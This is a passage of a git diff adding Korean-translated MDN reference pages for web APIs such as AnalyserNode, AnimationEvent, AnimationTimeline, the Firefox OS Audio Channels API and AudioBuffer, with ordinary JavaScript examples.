{{SpecName("HTML WHATWG", "#abstractworker", "AbstractWorker")}}{{Spec2('HTML WHATWG')}}No change from {{SpecName("Web Workers")}}.
+ +

브라우저 호환성

+ +
{{Compat("api.AbstractWorker")}}
+ +

같이 보기

+ + diff --git a/files/ko/web/api/analysernode/index.html b/files/ko/web/api/analysernode/index.html new file mode 100644 index 0000000000..a76feaf59c --- /dev/null +++ b/files/ko/web/api/analysernode/index.html @@ -0,0 +1,164 @@ +--- +title: AnalyserNode +slug: Web/API/AnalyserNode +tags: + - API + - Web Audio API + - 오디오 +translation_of: Web/API/AnalyserNode +--- +

{{APIRef("Web Audio API")}}

+ +

AnalyserNode 는 시간대 별로 실시간 주파수의 정보를 표현합니다. {{domxref("AudioNode")}} 를 통해 오디오 스트림정보가 그대로 입력되어 출력이 되지만 이를 통해 당신은 새로운 형태의 데이터를 생성하거나, 가공하고 오디오를 시각화 시키는 작업을 할 수 있습니다.

+ +

AnalyzerNode 는 하나의 입력에 하나의 출력을 가집니다. 그리고 이 노드는 출력이 명시되지 않더라도 동작을 합니다.

+ +

Without modifying the audio stream, the node allows to get the frequency and time-domain data associated to it, using a FFT.

+ + + + + + + + + + + + + + + + + + + + + + + + +
Number of inputs1
Number of outputs1 (but may be left unconnected)
Channel count mode"explicit"
Channel count1
Channel interpretation"speakers"
+ +
+

Note: See the guide Visualizations with Web Audio API for more information on creating audio visualizations.

+
+ +

Properties

+ +

{{domxref("AudioNode")}} 를 부모로 가지는 프로퍼티.

+ +
+
{{domxref("AnalyserNode.fftSize")}}
+
부호가 없는(unsigned long value) 주파수 영역에서의 전체 크기의 값을 나타내기 위한 푸리에 변환의 값의 크기를 나타낸다. (대략적으로 설명을 하면 해당 주파수영역을 보는데 얼마나 세밀하게 데이터를 볼것인지를 나타낸다. 클수록 세밀하지만 시간이 오래걸리고 작으면 빨리한다.)
+
 
+
{{domxref("AnalyserNode.frequencyBinCount")}} {{readonlyInline}}
+
부호가 없는 푸리에변환 값의 절반을 나타낸다. 이 값은 일반적으로 데이터를 시각화 하기위해 사용되는 데이터의 수와 같다.
+
{{domxref("AnalyserNode.minDecibels")}}
+
double형 값으로 표현되는  FFT(푸리에 변환)로 분석된 데이터의 범위에서의 최소값을 나타낸다. 이는 부호가 없는 바이트 값으로 변환된다. 일반적으로 이 특정한 최소값은 getByteFrequencyData()를 사용하여 얻은 결과값이다.
+
{{domxref("AnalyserNode.maxDecibels")}}
+
double형 값으로 표현되는  FFT(푸리에 변환)로 분석된 데이터의 범위에서의 최대값을 나타낸다. 이는 부호가 없는 바이트 값으로 변환된다. 일반적으로 이 특정한 최대값은 getByteFrequencyData()를 사용하여 얻은 결과값이다.
+
{{domxref("AnalyserNode.smoothingTimeConstant")}}
+
double형 값으로 마지막에 분석된 프레임의 평균 정수값을 나타낸다. 일반적으로 이 값을 통해 time smoother상의 값들을  변환하는데 사용된다.
+
+ +

Methods

+ +

{{domxref("AudioNode")}} 을 상속하는 메서드.

+ +
+
{{domxref("AnalyserNode.getFloatFrequencyData()")}}
+
현재의 주파수 데이터를  {{domxref("Float32Array")}} 로 복사해 전달한다.
+
+ +
+
{{domxref("AnalyserNode.getByteFrequencyData()")}}
+
현재의 주파수 데이터를  {{domxref("Uint8Array")}} (unsigned byte array) 로 복사해 전달한다.
+
+ +
+
{{domxref("AnalyserNode.getFloatTimeDomainData()")}}
+
현재 데이터의 파형, 또는 시간기반(time-domain) 데이터를  {{domxref("Float32Array")}} 배열에 전달한다.
+
{{domxref("AnalyserNode.getByteTimeDomainData()")}}
+
현재 데이터의 파형, 또는 시간기반(time-domain) 데이터를 {{domxref("Uint8Array")}} (unsigned byte array) 로 전달한다.
+
+ +

Example

+ +

이 예제는  {{domxref("AudioContext")}} 를 사용해 AnalyserNode를 생성하여 사용하는 방법을 보여주고,  {{domxref("window.requestAnimationFrame()","requestAnimationFrame")}} and {{htmlelement("canvas")}} 를 통해 반복적으로 시간기반(time-domain) 의 정보를 반복적으로 수집 및  "oscilloscope style" 를 통해 입력된 오디오 정보를 시각화하여 보여주는 예제입니다. 더 많은 정보와 예제는  Voice-change-O-matic demo (see app.js lines 128–205 for relevant code)를 확인 하세요.

+ +
var audioCtx = new (window.AudioContext || window.webkitAudioContext)();
+var analyser = audioCtx.createAnalyser();
+// 새로운 AnalyserNode를 생성한다.
+  ...
+
+analyser.fftSize = 2048; // FFT의 크기를 2048로 한다.
+var bufferLength = analyser.frequencyBinCount; // 시각화를 하기 위한 데이터의 갯수
+var dataArray = new Uint8Array(bufferLength); // 데이터를 담을 bufferLength 크기의 Unit8Array의 배열을 생성
+analyser.getByteTimeDomainData(dataArray); // 시간기반의 데이터를 Unit8Array배열로 전달
+
+// 얻어진 데이터를 기반으로 시각화 작업을 한다. 캔버스를 이용한다.
+
+function draw() {
+
+      drawVisual = requestAnimationFrame(draw);
+
+      analyser.getByteTimeDomainData(dataArray);
+
+      canvasCtx.fillStyle = 'rgb(200, 200, 200)';
+      canvasCtx.fillRect(0, 0, WIDTH, HEIGHT);
+
+      canvasCtx.lineWidth = 2;
+      canvasCtx.strokeStyle = 'rgb(0, 0, 0)';
+
+      canvasCtx.beginPath();
+
+      var sliceWidth = WIDTH * 1.0 / bufferLength;
+      var x = 0;
+
+      for(var i = 0; i < bufferLength; i++) {
+
+        var v = dataArray[i] / 128.0;
+        var y = v * HEIGHT/2;
+
+        if(i === 0) {
+          canvasCtx.moveTo(x, y);
+        } else {
+          canvasCtx.lineTo(x, y);
+        }
+
+        x += sliceWidth;
+      }
+
+      canvasCtx.lineTo(canvas.width, canvas.height/2);
+      canvasCtx.stroke();
+    };
+
+    draw();
+ +

Specifications

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Web Audio API', '#the-analysernode-interface', 'AnalyserNode')}}{{Spec2('Web Audio API')}} 
+ +

Browser compatibility

+ +

{{Compat("api.AnalyserNode")}}

+ +

See also

+ + diff --git a/files/ko/web/api/angle_instanced_arrays/index.html b/files/ko/web/api/angle_instanced_arrays/index.html new file mode 100644 index 0000000000..0e86bf91ba --- /dev/null +++ b/files/ko/web/api/angle_instanced_arrays/index.html @@ -0,0 +1,83 @@ +--- +title: ANGLE_instanced_arrays +slug: Web/API/ANGLE_instanced_arrays +translation_of: Web/API/ANGLE_instanced_arrays +--- +
{{APIRef ( "WebGL")}}
+ +

ANGLE_instanced_arrays확장은 WebGL API의 일부이며 동일한 객체 또는 동일한 객체 그룹을 같은 정점 데이터, 기본 개수 및 유형을 공유하는 경우 여러 번 그릴 수 있습니다.

+ +

WebGL 확장은 {{domxref ( "WebGLRenderingContext.getExtension()")}} 메서드를 사용하여 사용할 수 있습니다. 자세한 내용 WebGL 자습서의 Extensions 사용을 참조하십시오 .

+ +
+

가용성 : 이 확장은 {{domxref ( "WebGLRenderingContext", "WebGL1", "", 1)}} 컨텍스트에서만 사용할 수 있습니다. {{domxref ( "WebGL2RenderingContext", "WebGL2", "", 1)}}에서이 확장 기능은 기본적으로 WebGL2 컨텍스트에서 사용할 수 있으며 상수 및 메서드는 ANGLE접미사 없이 사용할 수 있습니다 .

+ +

"ANGLE"이라는 이름에도 불구하고이 확장은 하드웨어가 ANGLE 라이브러리를 사용할 때 Windows에서만 지원하는 것이 아닌 모든 장치에서 작동합니다. "ANGLE"은이 확장이 ANGLE 라이브러리 작성자에 의해 작성되었음을 나타냅니다.

+
+ +

상수

+ +

이 확장은 {{domxref ( "WebGLRenderingContext.getVertexAttrib()", "gl.getVertexAttrib()")}} 메서드에서 사용할 수있는 하나의 새로운 상수를 제공합니다.

+ +
+
ext.VERTEX_ATTRIB_ARRAY_DIVISOR_ANGLE
+
{{domxref ( "WebGLRenderingContext.getVertexAttrib()", "gl.getVertexAttrib()")}}에서 pname매개 변수 로 사용될 때 인스턴스 렌더링에 사용되는 빈도 제수를 설명하는 {{domxref("GLint")}}를 반환합니다 .
+
+ +

메서드

+ +

이 확장은 세 가지 새로운 메서드를 노출합니다.

+ +
+
{{domxref ( "ANGLE_instanced_arrays.drawArraysInstancedANGLE ()", "ext.drawArraysInstancedANGLE ()")}}
+
+

{{domxref ( "WebGLRenderingContext.drawArrays ()", "gl.drawArrays ()")}}와 동일하게 동작하지만 요소 범위의 인스턴스가 여러 개 실행되고 각 반복마다 인스턴스가 진행됩니다.

+
+
{{domxref ( "ANGLE_instanced_arrays.drawElementsInstancedANGLE ()", "ext.drawElementsInstancedANGLE ()")}}
+
+

{{domxref ( "WebGLRenderingContext.drawElements ()", "gl.drawElements ()")}}와 동일하게 동작하지만 요소 세트의 여러 인스턴스가 실행되고 각 세트간에 인스턴스가 진행됩니다.

+
+
{{domxref ( "ANGLE_instanced_arrays.vertexAttribDivisorANGLE ()", "ext.vertexAttribDivisorANGLE ()")}}
+
+

{{domxref ( "ANGLE_instanced_arrays.drawArraysInstancedANGLE ()", "ext.drawArraysInstancedANGLE ()")}} 및 {{domxref ( "ANGLE_instanced_arrays.drawElementsInstancedANGLE ()")}}로 여러 프리미티브 인스턴스를 렌더링 할 때 일반 정점 속성이 증가하는 비율을 수정합니다. , "ext.drawElementsInstancedANGLE ()")}}.

+
+
+ +

예제

+ +

확장 기능 사용 :

+ +
var ext = gl.getExtension ( 'ANGLE_instanced_arrays');
+
+ +

사양

+ + + + + + + + + + + + + + +
사양지위논평
{{SpecName ( 'ANGLE_instanced_arrays', '', 'ANGLE_instanced_arrays')}}{{Spec2 ( 'ANGLE_instanced_arrays')}}초기 정의.
+ +

브라우저 호환성

+ + + +

{{Compat ( "api.ANGLE_instanced_arrays")}}

+ +

같이 보기

+ + diff --git a/files/ko/web/api/animationevent/animationevent/index.html b/files/ko/web/api/animationevent/animationevent/index.html new file mode 100644 index 0000000000..4647191202 --- /dev/null +++ b/files/ko/web/api/animationevent/animationevent/index.html @@ -0,0 +1,76 @@ +--- +title: AnimationEvent() +slug: Web/API/AnimationEvent/AnimationEvent +tags: + - API + - CSSOM + - Constructor + - Experimental + - Reference + - Web Animations +translation_of: Web/API/AnimationEvent/AnimationEvent +--- +
{{APIRef("Web Animations")}}{{SeeCompatTable}}
+ +

AnimationEvent() 생성자는 애니메이션 이벤트인 {{domxref("AnimationEvent")}} 객체를 새로 만들어 리턴합니다. 

+ +

문법

+ +
animationEvent = new AnimationEvent(type, {animationName: aPropertyName,
+                                           elapsedTime  : aFloat,
+                                           pseudoElement: aPseudoElementName});
+
+ +

매개 변수

+ +

AnimationEvent() 생성자는 인자를 {{domxref("Event.Event", "Event()")}} 객체로부터 상속받습니다. 

+ +
+
type
+
{{domxref("DOMString")}}는 AnimationEvent 타입의 이름을 나타냅니다. 대소문자를 구별하며, 'animationstart', 'animationend', 또는 'animationiteration' 와 같이 쓸 수 있습니다.
+
animationName {{optional_inline}}
+
{{domxref("DOMString")}}는 {{cssxref("animation-name")}}의 변화와 관련된 CSS 프로퍼티 값을 포함합니다. 디폴트 값은 "" 입니다.
+
elapsedTime {{optional_inline}}
+
+

float 타입 값이며 이벤트가 발생할 시, 애니메이션이 정지했던 시간을 제외하고 실제 실행되었던 시간을 초 단위로 받습니다. "animationstart" 이벤트의 경우, {{cssxref("animation-delay")}}의 네비게이트 값이 존재하지 않는다면 elapsedTime은 0.0이고, 네비게이트 값이 존재한다면 elapsedTime이 (-1 * delay)값이 되고 이벤트가 발생하게 됩니다. 디폴트 값은 0.0입니다.

+
+
pseudoElement {{optional_inline}}
+
"::"로 시작하는 {{domxref("DOMString")}} 이고, 애니메이션이 실행되는 pseudo-element의 이름을  포함합니다. 애니메이션이 pseudo-element에서 실행되지 않고, 원소 자체에서 실행된다면 빈 스트링 : ""을 명시하십시오. 디폴트 값은 "" 입니다.
+
+ +

리턴 값

+ +

주어진 옵션에 의해 초기화된 {{domxref("AnimationEvent")}}

+ +

상세

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{ SpecName('CSS3 Animations', '#AnimationEvent-interface', 'AnimationEvent()') }}{{ Spec2('CSS3 Animations')}}초기 정의
+ +

브라우저 호환성

+ +
+

{{Compat("api.AnimationEvent.AnimationEvent")}}

+
+ +

함께 보기

+ + diff --git a/files/ko/web/api/animationevent/animationname/index.html b/files/ko/web/api/animationevent/animationname/index.html new file mode 100644 index 0000000000..8d63e43708 --- /dev/null +++ b/files/ko/web/api/animationevent/animationname/index.html @@ -0,0 +1,53 @@ +--- +title: AnimationEvent.animationName +slug: Web/API/AnimationEvent/animationName +tags: + - API + - AnimationEvent + - CSSOM + - 레퍼런스 + - 실험중 + - 웹 애니메이션 + - 프로퍼티 +translation_of: Web/API/AnimationEvent/animationName +--- +

{{SeeCompatTable}}{{ apiref("Web Animations API") }}

+ +

읽기 전용 프로퍼티인 AnimationEvent.animationName는 변화(transition)과 관련된 CSS 프로퍼티 {{cssxref("animation-name")}}의 값을 포함하는 {{domxref("DOMString")}}입니다.

+ +

문법

+ +
name = AnimationEvent.animationName
+ +

명세서

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{ SpecName('CSS3 Animations', '#AnimationEvent-animationName', 'AnimationEvent.animationName') }}{{ Spec2('CSS3 Animations')}}초기 정의.
+ +

브라우저 호환성

+ + + +

{{Compat("api.AnimationEvent.animationName")}}

+ +

함께 보기

+ + diff --git a/files/ko/web/api/animationevent/index.html b/files/ko/web/api/animationevent/index.html new file mode 100644 index 0000000000..757e9a911e --- /dev/null +++ b/files/ko/web/api/animationevent/index.html @@ -0,0 +1,78 @@ +--- +title: AnimationEvent +slug: Web/API/AnimationEvent +tags: + - API + - Experimental + - Interface + - Reference + - Web Animations +translation_of: Web/API/AnimationEvent +--- +

{{SeeCompatTable}}{{APIRef("Event")}}

+ +

AnimationEvent 인터페이스는 에니메이션과 관련된 정보를 제공하는 이벤트를 나타냅니다.

+ +

{{InheritanceDiagram}}

+ +

생성자

+ +
+
{{domxref("AnimationEvent.AnimationEvent", "AnimationEvent()")}}
+
주어진 매개변수로 AnimationEvent를 생성합니다.
+
+ +

속성

+ +

{{domxref("Event")}}의 속성을 상속합니다.

+ +
+
{{domxref("AnimationEvent.animationName")}} {{readonlyInline}}
+
트랜지션과 관련된 {{cssxref("animation-name")}} CSS 속성의 값을 가진 {{domxref("DOMString")}}입니다.
+
{{domxref("AnimationEvent.elapsedTime")}} {{readonlyInline}}
+
애니메이션이 재생된 총 시간을 나타내는 실수입니다. 초 단위로, 애니메이션이 일시정지된 시간은 제외합니다. animationstart 이벤트의 elapsedTime0.0이지만, {{cssxref("animation-delay")}} 값이 음수였다면 대신 (-1 * delay)를 값으로 가집니다.
+
{{domxref("AnimationEvent.pseudoElement")}} {{readonlyInline}}
+
애니메이션이 재생 중인 의사 요소의 이름을 값으로 가진 {{domxref("DOMString")}}입니다. '::'으로 시작합니다. 애니메이션이 일반 요소에서 재생 중이라면 빈 문자열 ''을 반환합니다.
+
+ +
+
+ +

메서드

+ +

{{domxref("Event")}}의 메서드를 상속합니다.

+ +
+
{{domxref("AnimationEvent.initAnimationEvent()")}} {{non-standard_inline}}{{deprecated_inline}}
+
삭제 예정 메서드 {{domxref("Document.createEvent()", "Document.createEvent(\"AnimationEvent\")")}}를 사용해 AnimationEvent를 초기화합니다.
+
+ +

명세

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{ SpecName('CSS3 Animations', '#AnimationEvent-interface', 'AnimationEvent') }}{{ Spec2('CSS3 Animations') }}Initial definition.
+ +

브라우저 호환성

+ +

{{Compat("api.AnimationEvent")}}

+ +

같이 보기

+ + diff --git a/files/ko/web/api/animationtimeline/currenttime/index.html b/files/ko/web/api/animationtimeline/currenttime/index.html new file mode 100644 index 0000000000..8a647166b6 --- /dev/null +++ b/files/ko/web/api/animationtimeline/currenttime/index.html @@ -0,0 +1,102 @@ +--- +title: AnimationTimeline.currentTime +slug: Web/API/AnimationTimeline/currentTime +translation_of: Web/API/AnimationTimeline/currentTime +--- +
{{ SeeCompatTable() }}{{ APIRef("Web Animations") }}
+ +

 

+ +

Web Animations API의 AnimationTimeline 인터페이스의 currentTime 읽기 전용 속성은 타임 라인의 현재 시간을 밀리 초 단위로 반환하거나 타임 라인이 비활성 상태이면 null을 반환합니다.출력 값이 생성되는 시간 세그먼트를 정의합니다. 이러한 값은 대상 속성에 애니메이션 효과를 적용하는 데 사용됩니다.

+ +
var currentTime = AnimationTimeline.currentTime;
+ +

Value

+ +

 

+ +

타임 라인의 현재 시간을 밀리 초 단위로 나타내는 숫자 또는 타임 라인이 비활성 상태 인 경우 null입니다.

+ +

Specifications

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Web Animations', '#dom-animationtimeline-currenttime', 'currentTime' )}}{{Spec2('Web Animations')}}Editor's draft.
+ +

Browser compatibility

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{CompatChrome(54)}} +

{{CompatGeckoDesktop(34)}}[1]

+
{{CompatNo}}{{CompatUnknown}}{{CompatNo}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroid WebviewChrome for AndroidFirefox Mobile (Gecko)Firefox OSIE MobileOpera MobileSafari Mobile
Basic support{{CompatChrome(54)}}{{CompatChrome(54)}}{{CompatGeckoMobile(34)}}[1]{{ CompatNo}}{{CompatNo}}{{CompatUnknown}}{{CompatNo}}
+ +

[1] The Web Animations API is only enabled by default in Firefox Developer Edition and Nightly builds. You can let it in beta and release forms by setting the preference dom.animations-api.core.enabled to true, and can disable it in any Firefox version by setting this preference to false.

+
+ +

See also

+ + diff --git a/files/ko/web/api/animationtimeline/index.html b/files/ko/web/api/animationtimeline/index.html new file mode 100644 index 0000000000..0ae7553352 --- /dev/null +++ b/files/ko/web/api/animationtimeline/index.html @@ -0,0 +1,56 @@ +--- +title: AnimationTimeline +slug: Web/API/AnimationTimeline +tags: + - API + - Animation + - AnimationTimeline + - Experimental + - Interface + - Reference + - Web Animations + - waapi + - web animations api +translation_of: Web/API/AnimationTimeline +--- +
{{ SeeCompatTable() }}{{ APIRef("Web Animations") }}
+ +

The AnimationTimeline interface of the Web Animations API represents the timeline of an animation. This interface exists to define timeline features (inherited by {{domxref("DocumentTimeline")}} and future timeline types) and is not itself directly used by developers. Anywhere you see AnimationTimeline, you should use DocumentTimeline or any other timeline type instead.

+ +

Properties

+ +
+
{{domxref("AnimationTimeline.currentTime")}} {{readonlyInline}}
+
Returns the time value in milliseconds for this timeline or null if this timeline is inactive.
+
+ +

Specifications

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Web Animations', '#the-animationtimeline-interface', 'AnimationTimeline' )}}{{Spec2('Web Animations')}}Editor's draft.
+ +

Browser compatibility

+ + + +

{{Compat("api.AnimationTimeline")}}

+ +

See also

+ + diff --git a/files/ko/web/api/audio_channels_api/using_the_audiochannels_api/index.html b/files/ko/web/api/audio_channels_api/using_the_audiochannels_api/index.html new file mode 100644 index 0000000000..1e07e262c6 --- /dev/null +++ b/files/ko/web/api/audio_channels_api/using_the_audiochannels_api/index.html @@ -0,0 +1,248 @@ +--- +title: Using the AudioChannels API +slug: Web/API/Audio_Channels_API/Using_the_AudioChannels_API +tags: + - Firefox OS + - Guide + - Non-standard +translation_of: Archive/B2G_OS/API/Audio_Channels_API/Using_the_AudioChannels_API +--- +

{{DefaultAPISidebar("Audio Channels API")}}{{ non-standard_header() }}

+ +
+

오디오 채널 API(Audio Channels API)는 현재 Firefox OS 전용 기능으로, 응용프로그램의 오디오 컨텐트를 중요성에 따른 계층구조로 배치하도록 한다. 이는 다른 오디오의 재생과 액션 발생에 반응하여 오디오가 일시정지되고 다시재생될 때를 지시하고 다른 종류의 볼륨을 제어할 수 있도록 한다. 이 가이드는 오디오 채널에 대한 기본적인 사용방법을 보여줄 것이다.

+
+ +

오디오 채널의 종류는 다음과 같다.

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
채널 이름중요도용도앱 권한 수준
normal1UI 효과음, 앱과 웹 컨텐트Normal
content2음악, 라디오, 비디오Normal
notification3새 이메일, SMS 수신음Privileged
alarm4알람 시계, 캘린더 알람Privileged
ringer5전화 수신 벨소리Internal
telephony6진행중인 통화, VOIP 통화Internal
publicnotification7강제된 카메라 셔터음Internal
+ +

하나의 오디오 채널이 사용되면, 언제든지 낮은 우선순위의 채널들은 자동으로 일시정디 된다. 단, 한가지 예외가 있는데, "normal"과 "content"채널은 동일한 우선순위를 가진다. 이는 "content"채널이 사용된다면 "normal"채널과 믹싱된다는 것을 의미한다. 만약 두 앱이 동시에 "content" 채널을 사용하려 한다면, 포어그라운드 앱이 우선권을 가진다. 만약 두 앱 모두 백그라운드 앱이라면, 마지막에 채널을 사용시도한 앱이 우선권을 가진다.

+ +
+

Note: 각 채널은 음소거와 볼륨 설정을 따로 가지고 있다.

+
+ +
+

Note: "telephony" 채널은 통화용 내장 스피커를 사용한다. 다른 모든 채널은 스피커 또는 헤드폰/헤드셋 등을 사용한다.

+
+ +

유즈 케이스

+ +

As obvious user-centric uses cases, audio channels allow users to play music from audio player apps even when they are running in the background, so they can do other things as it plays. However, they probably want the music to pause when someone rings the phone. As another example, when users mute their phone, they probably don't want to also mute their wake up alarm for the next morning.

+ +

Other use cases:

+ + + +

예제 앱

+ +

To explain audio channel functionality, we have built a sample app, imaginitively called audio-channels-demo (you can see it running live here.) The following shows what it looks like on Firefox OS.

+ +

A demo showing a title of AudioChannels demo, with an audio player and a select box to choose an audio channel to play the audio in.

+ +

The demo provides an audio player, and a {{htmlelement("select")}} box for choosing what audio channel to play the audio in (only "Normal" and "Content" are provided.) When the content audio channel is selected, you will be able to go to the homescreen and put the app in the background but still have the music keep playing. This is not the case with the normal channel — "normal" audio content is stopped when an app goes into the background.

+ +

To interrupt the playing of "content" audio content, you could try phoning the phone that the app is running on, or setting off an alarm. As you can see from the table above, these are both in higher priority audio channels.

+ +

The app also fires notifications when audio is interrupted or play resumes, and when the headphones are unplugged or plugged in again. Let's explore how this functionality is implemented.

+ +

매니페스트 권한이 요구된다

+ +

As explained in the table near the top, the different audio channels require a range of different permission levels for their use in apps, ranging from normal (hosted apps) to internal (also known as certified.) In any case, you do need to declare the permissions field in your manifest.webapp file to use AudioChannels, once per channel (note that we also declared permission to use system notifications, as they are used in our demo app also.)

+ +
"permissions": {
+  "audio-channel-normal" : {
+    "description" : "Needed to play this app's audio content on the normal channel"
+  },
+  "audio-channel-content" : {
+    "description" : "Needed to play this app's audio content on the content channel"
+  },
+  "desktop-notification" : {
+    "description" : "Needed to fire system notifications"
+  }
+}
+ +

Selecting the audio channel

+ +

Changing the audio channel to play the audio through in the app is a slightly more complex matter than you might think. Declaring the channel type statically in your HTML might look like this:

+ +
<audio mozaudiochannel="content" autoplay src="myAudio.ogg"></audio>
+ +

Declaring it dynamically in your JavaScript might look like this:

+ +
var player = new Video();
+player.mozAudioChannelType = 'content';
+player.src = '../video-clips/myVideo.ogv';
+ +

However you do it, you need to declare the channel before you declare the src of the media you want to play, so it can be loaded and placed into the right channel. For this reason, our demo app does it in a slightly convoluted way, deleting and then recreating the audio player each time the audio channel is changed:

+ +
function createAudio(channelValue) {
+
+  ...
+
+  audioContainer.innerHTML = '';
+  var player = document.createElement('audio');
+  var source1 = document.createElement('source');
+  var source2 = document.createElement('source');
+
+  player.controls = true;
+  player.mozAudioChannelType = channelValue;
+  source1.src = 'audio/dragon.ogg';
+  source1.type = 'audio/ogg';
+  source2.src = 'audio/dragon.mp3';
+  source2.type = 'audio/mpeg';
+
+  player.appendChild(source1);
+  player.appendChild(source2);
+  audioContainer.appendChild(player);
+
+  ...
+
+}
+
+channelSelect.addEventListener('change', function() {
+  createAudio(channelSelect.value);
+});
+ +

So the createAudio() function is run when the {{htmlelement("select")}} box (referenced in the JS as channelSelect) has its value changed, with the channelSelect value as a parameter. In this function, the audioContainer (a simple {{htmlelement("div")}} that wraps the audio player) has its contents deleted. Next, a new audio player and {{htmlelement("source")}} elements are created, have their necessary attributes filled in, and are added back into the audioContainer. Note that player.mozAudioChannelType = channelValue; is included before the audio source is set.

+ +

So with the audio channel set to "content", you can now keep the audio playing even when the app is in the background.

+ +

Setting which channel's volume to control

+ +

As well as setting what audio channel your audio is going to play in, you can also separately set what channel will have its volume adjusted when the user presses the device's volume keys. This for example allows us to adjust our standard content's volume without affect ringer or alarm volume. It is controlled using the {{domxref("AudioChannelManager.volumeControlChannel")}} property. So at the top of the createAudio() function, we include this block:

+ +
function createAudio(channelValue) {
+  if (navigator.mozAudioChannelManager) {
+    if(channelValue == 'normal') {
+      navigator.mozAudioChannelManager.volumeControlChannel = 'normal';
+    } else if(channelValue == 'content') {
+      navigator.mozAudioChannelManager.volumeControlChannel = 'content';
+    }
+    console.log(navigator.mozAudioChannelManager.volumeControlChannel);
+  }
+
+  ...
+
+}
+
+ +

The {{domxref("AudioChannelManager")}} object is accessed by a call to the {{domxref("Navigator.mozAudioChannelManager","navigator.mozAudioChannelManager")}} property — note the moz prefix. This is first done to provide some rudimentary feature detection, so trying to access this feature won't break the app on platforms that don't support it. Next, we include an if ... else if block to check what channel value was passed into the function from the {{htmlelement("select")}} element, and then set the volumeControlChannel value accordingly.

+ +

Firing notifications when the audio is interrupted

+ +

Now we have audio playing in an audio channel, it will be interrupted either when a more important audio channel starts being played (for example when a telephone call is received), or when the app is moved into the background in the case of the lowest priority "normal" channel. When this condition ends, our channel will resume playing. We can respond to these events using the mozinterruptbegin and mozinterruptend event handlers, which can be attached to the video or audio player playing the audio. You can see these handlers being used at the bottom of the createAudio() function:

+ +
function createAudio(channelValue) {
+
+  ...
+
+  player.addEventListener('mozinterruptbegin', function() {
+    var notification = new Notification('Metal interrupted!', { body: "Something more important?" });
+  });
+
+  player.addEventListener('mozinterruptend', function() {
+    var notification = new Notification('Metal resumed!', { body: "Important thing finished." });
+  });
+}
+ +

Here we attach both relevant event listeners to the audio player; when the events occur, we run simple functions that fire system notifications to tell the user what has happened. See the following screenshots for what it will look like:

+ +
A notification at the top of the Firefox OS interface saying Metal interrupted: something more important? A notification at the top of the Firefox OS interface saying Metal resumed: important thing finished?
+ +

Firing notifications when the headphones are (un)plugged

+ +

The {{domxref("AudioChannelManager")}} object includes a {{domxref("AudioChannelManager.headphones","headphones")}} property that returns true if headphones are plugged into the device and false if not, and an event handler — {{domxref("AudioChannelManager.onheadphoneschange","onheadphoneschange")}} — which fires whenever headphones are plugged in to or unplugged from the device. We decided to use these together to create a headphone status notification system:

+ +
if (navigator.mozAudioChannelManager) {
+  navigator.mozAudioChannelManager.onheadphoneschange = function() {
+    if(navigator.mozAudioChannelManager.headphones == true) {
+      var notification = new Notification('Headphones plugged in!');
+    } else {
+      var notification = new Notification('Headphones unplugged!');
+    }
+  }
+}
+ +

Let's go through this and explain what's happening. Again, multiple calls are made to {{domxref("Navigator.mozAudioChannelManager","navigator.mozAudioChannelManager")}}, first for feature detection, then to set up a function that runs when the onheadphoneschange handler fires. Inside this function, we check whether the headphones property returns true — if so, the headphones are plugged in, so we tell the user that with a notification. If not, they must be unplugged, so we return a suitable notification for that case too. The notifications will look something like this:

+ +

A notification at the top of the Firefox OS interface saying Headphones plugged in!

+ +

Specifications

+ +

The AudioChannels API has no official spec at the moment; see https://wiki.mozilla.org/WebAPI/AudioChannels for implementation details, WebIDL, etc.

+ +

See also

+ +
 
+ + diff --git a/files/ko/web/api/audiobuffer/index.html b/files/ko/web/api/audiobuffer/index.html new file mode 100644 index 0000000000..8c5e1a8736 --- /dev/null +++ b/files/ko/web/api/audiobuffer/index.html @@ -0,0 +1,172 @@ +--- +title: AudioBuffer +slug: Web/API/AudioBuffer +translation_of: Web/API/AudioBuffer +--- +

{{APIRef}}

+
+

AudioBuffer는 {{ domxref("AudioContext.decodeAudioData()") }} 혹은 {{ domxref("AudioContext.createBuffer()") }}를 통해 만들어진 로우 데이터를 메모리상에 두고 사용하는 기술이다. 일단 한번 AudioBuffer 에 들어간 정보는 {{ domxref("AudioBufferSourceNode") }}를 통해 재생이 가능하다.

+

이 객체는 일반적으로 45초 이하의 오디오 정보를 가지고 있다. 더 긴 시간의 소리정보는 {{domxref("MediaElementAudioSourceNode")}}를 사용하는 것이 더 적합하다.  The buffer contains data in the following format:  non-interleaved IEEE754 32-bit linear PCM with a nominal range between -1 and +1, that is, 32bits floating point buffer, with each samples between -1.0 and 1.0.  만약에  {{domxref("AudioBuffer")}} 가 멀티 채널을 가진다면 이는 버퍼를 나눠서 저장을 합니다.

+
+

Properties

+
+
+ {{domxref("AudioBuffer.sampleRate")}} {{readonlyInline}}
+
+ 버퍼에 저장된 샘플정보의 매 초당 배율을 float형으로 리턴한다.
+
+ {{domxref("AudioBuffer.length")}} {{readonlyInline}}
+
+ 샘플프레임안의 버퍼에 저장된 PCM정보의 길이를 정수형으로 리턴한다.
+
+ {{domxref("AudioBuffer.duration")}} {{readonlyInline}}
+
+ 버퍼에 저장된 PCM정보의 재생길이를 double형으로 리턴한다.
+
+ {{domxref("AudioBuffer.numberOfChannels")}} {{readonlyInline}}
+
+ 버퍼에 저장된 PCM정보에 의해 구분된 채널의 갯수를 정수형으로 리턴한다.
+
+

Methods

+
+
+ {{domxref("AudioBuffer.getChannelData()")}}
+
+ {{jsxref("Float32Array")}}에 담긴 PCM데이터와 channel 파라메로 정의된 채널 정보(첫번째 채널은 0)를 리턴한다.
+
+ {{domxref("AudioBuffer.copyFromChannel()")}}
+
+ 특정 채널의 AudioBuffer를 destination배열로 복사를 한다.
+
+ {{domxref("AudioBuffer.copyToChannel()")}}
+
+ 특정 채널의 AudioBuffer에 source배열로 부터 정보를 복사해 온다.
+
+

Example

+

